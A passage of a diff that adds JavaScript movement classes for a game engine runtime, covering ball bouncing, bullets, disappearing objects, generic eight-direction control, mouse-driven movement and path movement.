+ speed &= 0x7FFF;
+ this.hoPtr.roc.rcSpeed = speed;
+ this.MB_Speed = speed << 8;
+ this.rmStopSpeed = 0;
+ this.hoPtr.rom.rmMoveFlag = true;
+ }
+ },
+ bounce: function ()
+ {
+ if (this.rmStopSpeed != 0)
+ return;
+
+ if (this.hoPtr.hoAdRunHeader.rhLoopCount == this.MB_LastBounce)
+ return;
+ this.MB_LastBounce = this.hoPtr.hoAdRunHeader.rhLoopCount;
+
+ if (this.rmCollisionCount == this.hoPtr.hoAdRunHeader.rh3CollisionCount)
+ {
+ this.mb_Approach(this.MB_Blocked);
+ }
+
+ var x = this.hoPtr.hoX;
+ var y = this.hoPtr.hoY;
+ var rebond = 0;
+ x -= 8;
+ y -= 8;
+ if (this.tst_Position(x, y, this.MB_Blocked) == false)
+ rebond |= 0x01;
+ x += 16;
+ if (this.tst_Position(x, y, this.MB_Blocked) == false)
+ rebond |= 0x02;
+ y += 16;
+ if (this.tst_Position(x, y, this.MB_Blocked) == false)
+ rebond |= 0x04;
+ x -= 16;
+ if (this.tst_Position(x, y, this.MB_Blocked) == false)
+ rebond |= 0x08;
+
+ var dir = CMoveBall.rebond_List[rebond * 32 + this.hoPtr.hoAdRunHeader.getDir(this.hoPtr)];
+ dir &= this.MB_MaskBounce;
+ if (!this.mvb_Test(dir))
+ {
+ var angles = CMoveBall.PlusAnglesTry[this.MB_Angles * 2 + 1];
+ var angles2 = angles;
+ var bFlag = false;
+ do
+ {
+ dir -= angles;
+ dir &= 31;
+ if (this.mvb_Test(dir))
+ {
+ bFlag = true;
+ break;
+ }
+ dir += 2 * angles;
+ dir &= 31;
+ if (this.mvb_Test(dir))
+ {
+ bFlag = true;
+ break;
+ }
+ dir -= angles;
+ dir &= 31;
+ angles += angles2;
+ } while (angles <= 16);
+
+ if (bFlag == false)
+ {
+ this.MB_Blocked = true;
+ this.hoPtr.roc.rcDir = this.hoPtr.hoAdRunHeader.random(32) & this.MB_MaskBounce;
+ this.hoPtr.rom.rmBouncing = true;
+ this.hoPtr.rom.rmMoveFlag = true;
+ return;
+ }
+ }
+
+ this.MB_Blocked = false;
+ this.hoPtr.roc.rcDir = dir;
+ var rnd = this.hoPtr.hoAdRunHeader.random(100);
+ if (rnd < this.MB_Bounce)
+ {
+ rnd >>= 2;
+ if (rnd < 25)
+ {
+ rnd -= 12;
+ rnd &= 31;
+ rnd &= this.MB_MaskBounce;
+ if (this.mvb_Test(rnd))
+ {
+ this.hoPtr.roc.rcDir = rnd;
+ this.hoPtr.rom.rmBouncing = true;
+ this.hoPtr.rom.rmMoveFlag = true;
+ return;
+ }
+ }
+ }
+
+ dir = this.hoPtr.hoAdRunHeader.getDir(this.hoPtr) & 0x0007;
+ if (this.MB_SecuCpt != 12)
+ {
+ if (dir == 0)
+ {
+ this.MB_SecuCpt--;
+ if (this.MB_SecuCpt < 0)
+ {
+ dir = this.hoPtr.hoAdRunHeader.getDir(this.hoPtr) + CMoveBall.PlusAngles[this.hoPtr.hoAdRunHeader.random(2) + this.MB_Angles * 2];
+ dir &= 31;
+ if (this.mvb_Test(dir))
+ {
+ this.hoPtr.roc.rcDir = dir;
+ this.MB_SecuCpt = this.MB_Securite;
+ }
+ }
+ }
+ else
+ {
+ this.MB_SecuCpt = this.MB_Securite;
+ }
+ }
+ this.hoPtr.rom.rmBouncing = true;
+ this.hoPtr.rom.rmMoveFlag = true;
+ },
+
+ mvb_Test: function (dir)
+ {
+ var calculX = this.hoPtr.hoX * 65536 + (this.hoPtr.hoCalculX & 0x0000FFFF);
+ var calculY = this.hoPtr.hoY * 65536 + (this.hoPtr.hoCalculY & 0x0000FFFF);
+ var x = (CMove.Cosinus32[dir] * 2048) + calculX;
+ var y = (CMove.Sinus32[dir] * 2048) + calculY;
+ x = Math.floor(x / 65536);
+ y = Math.floor(y / 65536);
+ return this.tst_Position(x, y, false);
+ },
+ setDir: function (dir)
+ {
+ },
+ setSpeed: function (speed)
+ {
+ if (speed < 0)
+ speed = 0;
+ if (speed > 250)
+ speed = 250;
+ this.hoPtr.roc.rcSpeed = speed;
+ this.MB_Speed = speed << 8;
+ this.rmStopSpeed = 0;
+ this.hoPtr.rom.rmMoveFlag = true;
+ },
+ setMaxSpeed: function (speed)
+ {
+ this.setSpeed(speed);
+ },
+
+ reverse: function ()
+ {
+ if (this.rmStopSpeed == 0)
+ {
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.hoPtr.roc.rcDir += 16;
+ this.hoPtr.roc.rcDir &= 31;
+ }
+ },
+ setXPosition: function (x)
+ {
+ if (this.hoPtr.hoX != x)
+ {
+ this.hoPtr.hoX = x;
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.roc.rcCheckCollides = true;
+ }
+ },
+ setYPosition: function (y)
+ {
+ if (this.hoPtr.hoY != y)
+ {
+ this.hoPtr.hoY = y;
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.roc.rcCheckCollides = true;
+ }
+ }
+ });
+
+ // CMoveBuller object
+ // --------------------------------------------------------------
+ function CMoveBullet()
+ {
+ this.MBul_Wait = false;
+ this.MBul_ShootObject = null;
+ }
+ CMoveBullet.prototype = CServices.extend(new CMove(),
+ {
+ init: function (ho, mvPtr)
+ {
+ this.hoPtr = ho;
+ this.rhPtr = ho.hoAdRunHeader;
+ this.rhPtr.GetBase();
+ if (this.hoPtr.ros != null)
+ this.hoPtr.ros.setColFlag(false);
+ if (this.hoPtr.ros != null)
+ {
+ this.hoPtr.ros.rsFlags &= ~CRSpr.RSFLAG_VISIBLE;
+ this.hoPtr.ros.obHide();
+ }
+ this.MBul_Wait = true;
+ this.hoPtr.hoCalculX = 0;
+ this.hoPtr.hoCalculY = 0;
+ if (this.hoPtr.roa != null)
+ this.hoPtr.roa.init_Animation(CAnim.ANIMID_WALK);
+ this.hoPtr.roc.rcSpeed = 0;
+ this.hoPtr.roc.rcCheckCollides = true;
+ this.hoPtr.roc.rcChanged = true;
+ },
+ init2: function (parent)
+ {
+ this.hoPtr.roc.rcMaxSpeed = this.hoPtr.roc.rcSpeed;
+ this.hoPtr.roc.rcMinSpeed = this.hoPtr.roc.rcSpeed;
+ this.MBul_ShootObject = parent;
+ },
+ kill: function (bFast)
+ {
+ this.freeBullet(this.hoPtr);
+ },
+ move: function ()
+ {
+ if (this.MBul_Wait)
+ {
+ if (this.MBul_ShootObject.roa != null)
+ {
+ if (this.MBul_ShootObject.roa.raAnimOn == CAnim.ANIMID_SHOOT)
+ return;
+ }
+ this.startBullet();
+ }
+
+ if (this.hoPtr.roa != null)
+ this.hoPtr.roa.animate();
+ this.newMake_Move(this.hoPtr.roc.rcSpeed, this.hoPtr.hoAdRunHeader.getDir(this.hoPtr));
+
+ if (this.hoPtr.hoX < -64 || this.hoPtr.hoX > this.hoPtr.hoAdRunHeader.rhLevelSx + 64 || this.hoPtr.hoY < -64 || this.hoPtr.hoY > this.hoPtr.hoAdRunHeader.rhLevelSy + 64)
+ {
+ this.hoPtr.hoCallRoutine = false;
+ this.hoPtr.hoAdRunHeader.destroy_Add(this.hoPtr.hoNumber);
+ }
+ if (this.hoPtr.roc.rcCheckCollides)
+ {
+ this.hoPtr.roc.rcCheckCollides = false;
+ this.hoPtr.hoAdRunHeader.newHandle_Collisions(this.hoPtr);
+ }
+ },
+ startBullet: function ()
+ {
+ if (this.hoPtr.ros != null)
+ this.hoPtr.ros.setColFlag(true);
+ if (this.hoPtr.ros != null)
+ {
+ this.hoPtr.ros.rsFlags |= CRSpr.RSFLAG_VISIBLE;
+ this.hoPtr.ros.obShow();
+ }
+ if (this.rhPtr.rh4Box2DBase != null)
+ {
+ var hoParent = this.MBul_ShootObject;
+ var pMovement = this.rhPtr.GetMBase(hoParent);
+ if (pMovement != null)
+ {
+ var pBase = this.rhPtr.rh4Box2DBase;
+ var pMBase = new CRunMBase();
+ this.MBul_MBase = pMBase;
+ pMBase.InitBase(this.hoPtr, CRunMBase.MTYPE_OBJECT);
+ pMBase.m_identifier = pBase.identifier;
+ this.MBul_Body = pBase.rCreateBullet(pMovement.m_currentAngle, this.hoPtr.roc.rcSpeed / 250. * 50.0, pMBase);
+ pMBase.m_body = this.MBul_Body;
+ if (this.MBul_Body == null)
+ {
+ this.MBul_MBase = null;
+ }
+ }
+ }
+ this.MBul_Wait = false;
+ this.MBul_ShootObject = null;
+ },
+ freeBullet: function (hoPtr)
+ {
+ if (this.MBul_Body != null)
+ {
+ var rhPtr = this.hoPtr.hoAdRunHeader;
+ pBase = rhPtr.rh4Box2DBase;
+ pBase.rDestroyBody(this.MBul_Body);
+ this.MBul_Body = null;
+ }
+ if (this.MBul_MBase != null)
+ {
+ this.MBul_MBase = null;
+ }
+ },
+ setXPosition: function (x)
+ {
+ if (this.hoPtr.hoX != x)
+ {
+ this.hoPtr.hoX = x;
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.roc.rcCheckCollides = true;
+ }
+ },
+ setYPosition: function (y)
+ {
+ if (this.hoPtr.hoY != y)
+ {
+ this.hoPtr.hoY = y;
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.roc.rcCheckCollides = true;
+ }
+ },
+ setDir: function (dir)
+ {
+ },
+ reverse: function (dir)
+ {
+ },
+ stop: function ()
+ {
+ },
+ start: function ()
+ {
+ },
+ bounce: function ()
+ {
+ },
+ setSpeed: function (speed)
+ {
+ },
+ setMaxSpeed: function (speed)
+ {
+ }
+ });
+
+ // CMoveDisappear object
+ // ----------------------------------------------------------------
+ function CMoveDisappear()
+ {
+ }
+ CMoveDisappear.prototype = CServices.extend(new CMove(),
+ {
+ init: function (ho, mvPtr)
+ {
+ this.hoPtr = ho;
+ },
+ move: function ()
+ {
+ if ((this.hoPtr.hoFlags & CObject.HOF_FADEOUT) == 0)
+ {
+ if (this.hoPtr.roa != null)
+ {
+ this.hoPtr.roa.animate();
+ if (this.hoPtr.roa.raAnimForced != CAnim.ANIMID_DISAPPEAR + 1)
+ {
+ this.hoPtr.hoAdRunHeader.destroy_Add(this.hoPtr.hoNumber);
+ }
+ }
+ }
+ },
+ setXPosition: function (x)
+ {
+ if (this.hoPtr.hoX != x)
+ {
+ this.hoPtr.hoX = x;
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.hoPtr.roc.rcChanged = true;
+ }
+ },
+ setYPosition: function (y)
+ {
+ if (this.hoPtr.hoY != y)
+ {
+ this.hoPtr.hoY = y;
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.hoPtr.roc.rcChanged = true;
+ }
+ },
+ setDir: function (dir)
+ {
+ },
+ reverse: function (dir)
+ {
+ },
+ stop: function ()
+ {
+ },
+ start: function ()
+ {
+ },
+ bounce: function ()
+ {
+ },
+ setSpeed: function (speed)
+ {
+ },
+ setMaxSpeed: function (speed)
+ {
+ }
+ });
+
+ // CMoveGeneric object
+ // ---------------------------------------------------------------------
+ function CMoveGeneric()
+ {
+ this.MG_Bounce = 0;
+ this.MG_OkDirs = 0;
+ this.MG_BounceMu = 0;
+ this.MG_Speed = 0;
+ this.MG_LastBounce = 0;
+ this.MG_DirMask = 0;
+ }
+ CMoveGeneric.prototype = CServices.extend(new CMove(),
+ {
+ init: function (ho, mgPtr)
+ {
+ this.hoPtr = ho;
+
+ this.hoPtr.hoCalculX = 0;
+ this.hoPtr.hoCalculY = 0;
+ this.MG_Speed = 0;
+ this.hoPtr.roc.rcSpeed = 0;
+ this.MG_Bounce = 0;
+ this.MG_LastBounce = -1;
+ this.hoPtr.roc.rcPlayer = mgPtr.mvControl;
+ this.rmAcc = mgPtr.mgAcc;
+ this.rmAccValue = this.getAccelerator(this.rmAcc);
+ this.rmDec = mgPtr.mgDec;
+ this.rmDecValue = this.getAccelerator(this.rmDec);
+ this.hoPtr.roc.rcMaxSpeed = mgPtr.mgSpeed;
+ this.hoPtr.roc.rcMinSpeed = 0;
+ this.MG_BounceMu = mgPtr.mgBounceMult;
+ this.MG_OkDirs = mgPtr.mgDir;
+ this.rmOpt = mgPtr.mvOpt;
+ this.hoPtr.roc.rcChanged = true;
+ },
+
+ move: function ()
+ {
+ var direction;
+ var autorise;
+ var speed, speed8, dir;
+
+ this.hoPtr.hoAdRunHeader.rhVBLObjet = 1;
+
+ direction = this.hoPtr.hoAdRunHeader.getDir(this.hoPtr);
+ this.hoPtr.roc.rcOldDir = direction;
+
+ if (this.MG_Bounce == 0)
+ {
+ this.hoPtr.rom.rmBouncing = false;
+
+ autorise = 0;
+ {
+ var j = this.hoPtr.hoAdRunHeader.rhPlayer[this.hoPtr.roc.rcPlayer - 1] & 15;
+ if (j != 0)
+ {
+ dir = CMove.Joy2Dir[j];
+ if (dir != -1)
+ {
+ var flag = 1 << dir;
+ if ((flag & this.MG_OkDirs) != 0)
+ {
+ autorise = 1;
+ direction = dir;
+ }
+ }
+ }
+ }
+
+ var dSpeed;
+ speed = this.MG_Speed;
+ if (autorise == 0)
+ {
+ if (speed != 0)
+ {
+ dSpeed = this.rmDecValue;
+ if ((this.hoPtr.hoAdRunHeader.rhFrame.leFlags & CRunFrame.LEF_TIMEDMVTS) != 0)
+ dSpeed = dSpeed * this.hoPtr.hoAdRunHeader.rh4MvtTimerCoef;
+ speed -= dSpeed;
+ if (speed <= 0)
+ speed = 0;
+ }
+ }
+ else
+ {
+ speed8 = speed >> 8;
+ if (speed8 < this.hoPtr.roc.rcMaxSpeed)
+ {
+ dSpeed = this.rmAccValue;
+ if ((this.hoPtr.hoAdRunHeader.rhFrame.leFlags & CRunFrame.LEF_TIMEDMVTS) != 0)
+ dSpeed = dSpeed * this.hoPtr.hoAdRunHeader.rh4MvtTimerCoef;
+ speed += dSpeed;
+ speed8 = speed >> 8;
+ if (speed8 > this.hoPtr.roc.rcMaxSpeed)
+ {
+ speed = this.hoPtr.roc.rcMaxSpeed << 8;
+ }
+ }
+ }
+ this.MG_Speed = speed;
+ this.hoPtr.roc.rcSpeed = speed >> 8;
+
+ this.hoPtr.roc.rcDir = direction;
+
+ this.hoPtr.roc.rcAnim = CAnim.ANIMID_WALK;
+ if (this.hoPtr.roa != null)
+ this.hoPtr.roa.animate();
+
+ if (this.newMake_Move(this.hoPtr.roc.rcSpeed, this.hoPtr.hoAdRunHeader.getDir(this.hoPtr)) == false)
+ return;
+
+ if (this.hoPtr.roc.rcSpeed == 0)
+ {
+ speed = this.MG_Speed;
+ if (speed == 0)
+ {
+ return;
+ }
+ if (this.hoPtr.roc.rcOldDir == this.hoPtr.hoAdRunHeader.getDir(this.hoPtr))
+ {
+ return;
+ }
+ this.hoPtr.roc.rcSpeed = speed >> 8;
+ this.hoPtr.roc.rcDir = this.hoPtr.roc.rcOldDir;
+ if (this.newMake_Move(this.hoPtr.roc.rcSpeed, this.hoPtr.hoAdRunHeader.getDir(this.hoPtr)) == false)
+ {
+ return;
+ }
+ }
+ }
+
+ while (true)
+ {
+ if (this.MG_Bounce == 0 || this.hoPtr.hoAdRunHeader.rhVBLObjet == 0)
+ {
+ return;
+ }
+ speed = this.MG_Speed;
+ speed -= this.rmDecValue;
+ if (speed > 0)
+ {
+ this.MG_Speed = speed;
+ speed >>= 8;
+ this.hoPtr.roc.rcSpeed = speed;
+ dir = this.hoPtr.hoAdRunHeader.getDir(this.hoPtr);
+ if (this.MG_Bounce != 0)
+ {
+ dir += 16;
+ dir &= 31;
+ }
+ if (this.newMake_Move(speed, dir) == false)
+ {
+ return;
+ }
+ continue;
+ }
+ else
+ {
+ this.MG_Speed = 0;
+ this.hoPtr.roc.rcSpeed = 0;
+ this.MG_Bounce = 0;
+ }
+ break;
+ }
+ ;
+ },
+
+ bounce: function ()
+ {
+ if (this.rmCollisionCount == this.hoPtr.hoAdRunHeader.rh3CollisionCount)
+ {
+ this.mv_Approach((this.rmOpt & CMove.MVTOPT_8DIR_STICK) != 0);
+ }
+ if (this.hoPtr.hoAdRunHeader.rhLoopCount == this.MG_LastBounce)
+ return;
+ this.MG_LastBounce = this.hoPtr.hoAdRunHeader.rhLoopCount;
+ this.MG_Bounce++;
+ if (this.MG_Bounce >= 12)
+ {
+ this.stop();
+ return;
+ }
+ this.hoPtr.rom.rmBouncing = true;
+ this.hoPtr.rom.rmMoveFlag = true;
+ },
+
+ reverse: function ()
+ {
+ },
+
+ setDir: function (dir)
+ {
+ },
+
+ stop: function ()
+ {
+ this.hoPtr.roc.rcSpeed = 0;
+ this.MG_Bounce = 0;
+ this.MG_Speed = 0;
+ this.hoPtr.rom.rmMoveFlag = true;
+ if (this.rmCollisionCount == this.hoPtr.hoAdRunHeader.rh3CollisionCount)
+ {
+ this.mv_Approach((this.rmOpt & CMove.MVTOPT_8DIR_STICK) != 0);
+ this.MG_Bounce = 0;
+ }
+ },
+
+ start: function ()
+ {
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.rmStopSpeed = 0;
+ },
+
+ setMaxSpeed: function (speed)
+ {
+ if (speed < 0) speed = 0;
+ if (speed > 250) speed = 250;
+ this.hoPtr.roc.rcMaxSpeed = speed;
+ if (this.hoPtr.roc.rcSpeed > speed)
+ {
+ this.hoPtr.roc.rcSpeed = speed;
+ this.MG_Speed = speed << 8;
+ }
+ this.hoPtr.rom.rmMoveFlag = true;
+ },
+
+ setSpeed: function (speed)
+ {
+ if (speed < 0) speed = 0;
+ if (speed > 250) speed = 250;
+ if (speed > this.hoPtr.roc.rcMaxSpeed)
+ {
+ speed = this.hoPtr.roc.rcMaxSpeed;
+ }
+ this.hoPtr.roc.rcSpeed = speed;
+ this.MG_Speed = speed << 8;
+ this.hoPtr.rom.rmMoveFlag = true;
+ },
+ setXPosition: function (x)
+ {
+ if (this.hoPtr.hoX != x)
+ {
+ this.hoPtr.hoX = x;
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.roc.rcCheckCollides = true;
+ }
+ },
+ setYPosition: function (y)
+ {
+ if (this.hoPtr.hoY != y)
+ {
+ this.hoPtr.hoY = y;
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.roc.rcCheckCollides = true;
+ }
+ },
+ set8DirsGeneric: function (dirs)
+ {
+ this.MG_OkDirs = dirs;
+ }
+ });
+
+ // CMoveMouse object
+ // ------------------------------------------------------------
+ function CMoveMouse()
+ {
+ this.MM_DXMouse = 0;
+ this.MM_DYMouse = 0;
+ this.MM_FXMouse = 0;
+ this.MM_FYMouse = 0;
+ this.MM_Stopped = 0;
+ this.MM_OldSpeed = 0;
+ }
+ CMoveMouse.prototype = CServices.extend(new CMove(),
+ {
+ init: function (ho, mmPtr)
+ {
+ this.hoPtr = ho;
+
+ this.hoPtr.roc.rcPlayer = mmPtr.mvControl;
+ this.MM_DXMouse = mmPtr.mmDx + this.hoPtr.hoX;
+ this.MM_DYMouse = mmPtr.mmDy + this.hoPtr.hoY;
+ this.MM_FXMouse = mmPtr.mmFx + this.hoPtr.hoX;
+ this.MM_FYMouse = mmPtr.mmFy + this.hoPtr.hoY;
+ this.hoPtr.roc.rcSpeed = 0;
+ this.MM_OldSpeed = 0;
+ this.MM_Stopped = 0;
+ this.hoPtr.roc.rcMinSpeed = 0;
+ this.hoPtr.roc.rcMaxSpeed = 100;
+ this.rmOpt = mmPtr.mvOpt;
+ this.moveAtStart(mmPtr);
+ this.hoPtr.roc.rcChanged = true;
+ },
+
+ move: function ()
+ {
+ var newX = this.hoPtr.hoX;
+ var newY = this.hoPtr.hoY;
+ var deltaX, deltaY, flags, speed, dir, index;
+
+ if (this.rmStopSpeed == 0)
+ {
+ if (this.hoPtr.hoAdRunHeader.rh2InputMask[this.hoPtr.roc.rcPlayer - 1] != 0)
+ {
+ newX = this.hoPtr.hoAdRunHeader.rh2MouseX;
+ if (newX < this.MM_DXMouse)
+ newX = this.MM_DXMouse;
+ if (newX > this.MM_FXMouse)
+ newX = this.MM_FXMouse;
+
+ newY = this.hoPtr.hoAdRunHeader.rh2MouseY;
+ if (newY < this.MM_DYMouse)
+ newY = this.MM_DYMouse;
+ if (newY > this.MM_FYMouse)
+ newY = this.MM_FYMouse;
+
+ deltaX = newX - this.hoPtr.hoX;
+ deltaY = newY - this.hoPtr.hoY;
+ flags = 0;
+ if (deltaX < 0)
+ {
+ deltaX = -deltaX;
+ flags |= 0x01;
+ }
+ if (deltaY < 0)
+ {
+ deltaY = -deltaY;
+ flags |= 0x02;
+ }
+ speed = (deltaX + deltaY) << 2;
+ if (speed > 250) speed = 250;
+ this.hoPtr.roc.rcSpeed = speed;
+ if (speed != 0)
+ {
+ deltaX <<= 8;
+ if (deltaY == 0)
+ deltaY = 1;
+ deltaX /= deltaY;
+ for (index = 0; ; index += 2)
+ {
+ if (deltaX >= CMove.CosSurSin32[index])
+ break;
+ }
+ dir = CMove.CosSurSin32[index + 1];
+ if ((flags & 0x02) != 0)
+ {
+ dir = -dir + 32;
+ dir &= 31;
+ }
+ if ((flags & 0x01) != 0)
+ {
+ dir -= 8;
+ dir &= 31;
+ dir = -dir;
+ dir &= 31;
+ dir += 8;
+ dir &= 31;
+ }
+ this.hoPtr.roc.rcDir = dir;
+ }
+ }
+ }
+
+ if (this.hoPtr.roc.rcSpeed != 0)
+ {
+ this.MM_Stopped = 0;
+ this.MM_OldSpeed = this.hoPtr.roc.rcSpeed;
+ }
+ this.MM_Stopped++;
+ if (this.MM_Stopped > 10)
+ this.MM_OldSpeed = 0;
+ this.hoPtr.roc.rcSpeed = this.MM_OldSpeed;
+ if (this.hoPtr.roa != null)
+ this.hoPtr.roa.animate();
+ ;
+
+ this.hoPtr.hoX = newX;
+ this.hoPtr.hoY = newY;
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.hoAdRunHeader.rh3CollisionCount++;
+ this.rmCollisionCount = this.hoPtr.hoAdRunHeader.rh3CollisionCount;
+ this.hoPtr.hoAdRunHeader.newHandle_Collisions(this.hoPtr);
+ },
+
+ stop: function ()
+ {
+ if (this.rmCollisionCount == this.hoPtr.hoAdRunHeader.rh3CollisionCount)
+ {
+ this.mv_Approach((this.rmOpt & CMove.MVTOPT_8DIR_STICK) != 0);
+ }
+ this.hoPtr.roc.rcSpeed = 0;
+ },
+ start: function ()
+ {
+ this.rmStopSpeed = 0;
+ this.hoPtr.rom.rmMoveFlag = true;
+ },
+ bounce: function ()
+ {
+ this.stop();
+ },
+ reverse: function ()
+ {
+ },
+ setDir: function (dir)
+ {
+ },
+ setXPosition: function (x)
+ {
+ if (this.hoPtr.hoX != x)
+ {
+ this.hoPtr.hoX = x;
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.roc.rcCheckCollides = true;
+ }
+ },
+ setYPosition: function (y)
+ {
+ if (this.hoPtr.hoY != y)
+ {
+ this.hoPtr.hoY = y;
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.roc.rcCheckCollides = true;
+ }
+ }
+ });
+
+ // CMovePath object
+ // --------------------------------------------------------------
+ function CMovePath()
+ {
+ this.MT_Speed = 0;
+ this.MT_Sinus = 0;
+ this.MT_Cosinus = 0;
+ this.MT_Longueur = 0;
+ this.MT_XOrigin = 0;
+ this.MT_YOrigin = 0;
+ this.MT_XDest = 0;
+ this.MT_YDest = 0;
+ this.MT_MoveNumber = 0;
+ this.MT_Direction = false;
+ this.MT_Movement = null;
+ this.MT_Calculs = 0;
+ this.MT_XStart = 0;
+ this.MT_YStart = 0;
+ this.MT_Pause = 0;
+ this.MT_GotoNode = null;
+ this.MT_FlagBranch = false;
+ }
+ CMovePath.prototype = CServices.extend(new CMove(),
+ {
+ init: function (ho, mtPtr)
+ {
+ this.hoPtr = ho;
+
+ this.MT_XStart = this.hoPtr.hoX;
+ this.MT_YStart = this.hoPtr.hoY;
+
+ this.MT_Direction = false;
+ this.MT_Pause = 0;
+ this.hoPtr.hoMark1 = 0;
+
+ this.MT_Movement = mtPtr;
+ this.hoPtr.roc.rcMinSpeed = mtPtr.mtMinSpeed;
+ this.hoPtr.roc.rcMaxSpeed = mtPtr.mtMaxSpeed;
+ this.MT_Calculs = 0;
+ this.MT_GotoNode = null;
+ this.mtGoAvant(0);
+ this.moveAtStart(mtPtr);
+ this.hoPtr.roc.rcSpeed = this.MT_Speed;
+ this.hoPtr.roc.rcChanged = true;
+ if (this.MT_Movement.steps.length == 0)
+ this.stop();
+ },
+
+ move: function ()
+ {
+ this.hoPtr.hoMark1 = 0;
+
+ this.hoPtr.roc.rcAnim = CAnim.ANIMID_WALK;
+ if (this.hoPtr.roa != null)
+ this.hoPtr.roa.animate();
+
+ if (this.MT_Speed == 0)
+ {
+ var pause = this.MT_Pause;
+ if (pause == 0)
+ {
+ this.hoPtr.roc.rcSpeed = 0;
+ this.hoPtr.hoAdRunHeader.newHandle_Collisions(this.hoPtr);
+ return;
+ }
+ pause -= this.hoPtr.hoAdRunHeader.rhTimerDelta;
+ if (pause > 0)
+ {
+ this.MT_Pause = pause;
+ this.hoPtr.roc.rcSpeed = 0;
+ this.hoPtr.hoAdRunHeader.newHandle_Collisions(this.hoPtr);
+ return;
+ }
+ this.MT_Pause = 0;
+ this.MT_Speed = this.rmStopSpeed & 0x7FFF;
+ this.rmStopSpeed = 0;
+ this.hoPtr.roc.rcSpeed = this.MT_Speed;
+ }
+
+ var calculs;
+ if ((this.hoPtr.hoAdRunHeader.rhFrame.leFlags & CRunFrame.LEF_TIMEDMVTS) != 0)
+ calculs = 256.0 * this.hoPtr.hoAdRunHeader.rh4MvtTimerCoef;
+ else
+ calculs = 0x100;
+ this.hoPtr.hoAdRunHeader.rhMT_VBLCount = calculs;
+
+ var breakMtNewSpeed;
+ while (true)
+ {
+ breakMtNewSpeed = false;
+ this.hoPtr.hoAdRunHeader.rhMT_VBLStep = calculs;
+ calculs *= this.MT_Speed;
+ calculs <<= 5;
+ if (calculs <= 0x80000)
+ this.hoPtr.hoAdRunHeader.rhMT_MoveStep = calculs;
+ else
+ {
+ calculs = 0x80000 >>> 5;
+ calculs /= this.MT_Speed;
+ this.hoPtr.hoAdRunHeader.rhMT_VBLStep = calculs;
+ this.hoPtr.hoAdRunHeader.rhMT_MoveStep = 0x80000;
+ }
+ while (true)
+ {
+ this.MT_FlagBranch = false;
+ var flag = this.mtMove(this.hoPtr.hoAdRunHeader.rhMT_MoveStep);
+ if (flag == true && this.MT_FlagBranch == false)
+ {
+ breakMtNewSpeed = true;
+ break;
+ }
+ if (this.hoPtr.hoAdRunHeader.rhMT_VBLCount == this.hoPtr.hoAdRunHeader.rhMT_VBLStep)
+ {
+ breakMtNewSpeed = true;
+ break;
+ }
+ if (this.hoPtr.hoAdRunHeader.rhMT_VBLCount > this.hoPtr.hoAdRunHeader.rhMT_VBLStep)
+ {
+ this.hoPtr.hoAdRunHeader.rhMT_VBLCount -= this.hoPtr.hoAdRunHeader.rhMT_VBLStep;
+ calculs = this.hoPtr.hoAdRunHeader.rhMT_VBLCount;
+ break;
+ }
+ calculs = this.hoPtr.hoAdRunHeader.rhMT_VBLCount * MT_Speed;
+ calculs <<= 5;
+ this.mtMove(calculs);
+ breakMtNewSpeed = true;
+ break;
+ }
+ ;
+ if (breakMtNewSpeed)
+ {
+ break;
+ }
+ }
+ ;
+ },
+
+ mtMove: function (step)
+ {
+ step += this.MT_Calculs;
+ var step2 = step >>> 16;
+ if (step2 < this.MT_Longueur)
+ {
+ this.MT_Calculs = step;
+ var x = (step2 * this.MT_Cosinus) / 16384 + this.MT_XOrigin;
+ var y = (step2 * this.MT_Sinus) / 16384 + this.MT_YOrigin;
+
+ this.hoPtr.hoX = x;
+ this.hoPtr.hoY = y;
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.hoAdRunHeader.newHandle_Collisions(this.hoPtr);
+ return this.hoPtr.rom.rmMoveFlag;
+ }
+
+ step2 -= this.MT_Longueur;
+ step = (step2 << 16) | (step & 0xFFFF);
+ if (this.MT_Speed != 0)
+ step /= this.MT_Speed;
+ step >>= 5;
+ this.hoPtr.hoAdRunHeader.rhMT_VBLCount += step & 0xFFFF;
+
+ this.hoPtr.hoX = this.MT_XDest;
+ this.hoPtr.hoY = this.MT_YDest;
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.hoAdRunHeader.newHandle_Collisions(this.hoPtr);
+ if (this.hoPtr.rom.rmMoveFlag)
+ return true;
+
+ this.hoPtr.hoMark1 = this.hoPtr.hoAdRunHeader.rhLoopCount;
+ this.hoPtr.hoMT_NodeName = null;
+
+ // Passe au node suivant
+ var number = this.MT_MoveNumber;
+ this.MT_Calculs = 0;
+ if (this.MT_Direction == false)
+ {
+ number++;
+ if (number < this.MT_Movement.mtNumber)
+ {
+ this.hoPtr.hoMT_NodeName = this.MT_Movement.steps[number].mdName;
+
+ if (this.MT_GotoNode != null)
+ {
+ if (this.MT_Movement.steps[number].mdName != null)
+ {
+ if (CServices.compareStringsIgnoreCase(this.MT_GotoNode, this.MT_Movement.steps[number].mdName))
+ {
+ this.MT_MoveNumber = number;
+ this.mtMessages();
+ return this.mtTheEnd();
+ }
+ }
+ }
+ this.mtGoAvant(number);
+ this.mtMessages();
+ return this.hoPtr.rom.rmMoveFlag;
+ }
+ this.hoPtr.hoMark2 = this.hoPtr.hoAdRunHeader.rhLoopCount;
+ this.MT_MoveNumber = number;
+ if (this.MT_Direction)
+ {
+ this.mtMessages();
+ return this.hoPtr.rom.rmMoveFlag;
+ }
+ if (this.MT_Movement.mtReverse != 0)
+ {
+ this.MT_Direction = true;
